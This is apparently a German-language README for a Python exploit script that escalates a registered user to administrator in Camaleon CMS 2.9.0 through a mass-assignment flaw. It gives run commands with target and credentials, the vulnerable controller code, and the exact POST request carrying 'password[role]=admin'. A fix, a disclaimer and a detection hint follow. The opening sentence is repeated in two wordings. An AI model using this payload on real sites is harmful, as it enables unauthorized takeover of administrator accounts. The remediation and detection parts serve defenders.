
Dieses Python-Skript nutzt eine kritische Mass Assignment Vulnerability in Camaleon CMS Version 2.9.0 aus, die es jedem registrierten Benutzer ermöglicht, seine Privilegien auf Administrator zu erweitern.
Dieses Python-Skript nutzt eine kritische Schwachstelle in der Massenzuweisung in Camaleon CMS Version 2.9.0 aus, die es jedem registrierten Benutzer ermöglicht, seine Berechtigungen auf Administrator zu erweitern.
permit! in der Aktion updated_ajax erlaubt die Durchleitung aller Parameter ohne Filterung, einschließlich des Parameters role/admin/users/[id]/updated_ajax mit einer schädlichen Nutzlast: (Im Skript habe ich die ID 5 verwendet, da dies normalerweise die automatisch zugewiesene ist. Möglicherweise muss sie geändert werden.)
password[role]=admin - Dieser Parameter sollte gefiltert werden, wird es aber aufgrund von permit! nichtpassword[password] und password[password_confirmation] - Aktualisiert das Passwort des Benutzers (Wenn ein normaler Benutzer mit der Rolle 'client' sein Profil aktualisiert, ist es technisch user[role]=client, aber da wir hier die Schwachstelle ausnutzen, die sich aus der Funktion 'Passwort ändern' ergibt, wird es password[role]=admin sein.)pip install -r requirements.txt
python camaleon_cms_privilege_escalation.py --url http://target-cms.com --username regularuser --password userpassword
--new-password: Legt ein neues Passwort während der Ausnutzung fest (Standard ist aktuelles Passwort)python camaleon_cms_privilege_escalation.py \
--url http://192.168.1.100 \
--username testuser \
--password testpass123 \
--new-password newadminpass
Die Schwachstelle befindet sich in der Methode updated_ajax des UsersController:
def updated_ajax
# Vulnerable code - uses permit! instead of specific parameter filtering
@user.update(params.require(:user).permit!)
# This allows ANY parameter to be mass-assigned, including role
end
POST /admin/users/[id]/updated_ajax
Content-Type: application/x-www-form-urlencoded
password[password]=newpass123&password[password_confirmation]=newpass123&password[role]=admin&_method=patch
{
"success": true,
"message": "User updated successfully"
}
Ersetzen Sie die anfällige Methode permit! durch eine explizite Parameterfilterung:
def updated_ajax
@user.update(params.require(:user).permit(:password, :password_confirmation, :email))
# Explicitly exclude: role parameter
end
Dieses Skript dient nur zu Bildungs- und autorisierten Sicherheitstestzwecken. Bitte verwenden Sie diesen Exploit nicht auf Systemen, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben. Der Autor übernimmt keine Verantwortung für Missbrauch oder Schäden, die durch dieses Werkzeug verursacht werden.
Sicherheitsteams können Ausnutzungsversuche erkennen, indem sie auf Folgendes achten:
/admin/users/[id]/updated_ajax mit dem Parameter password[role]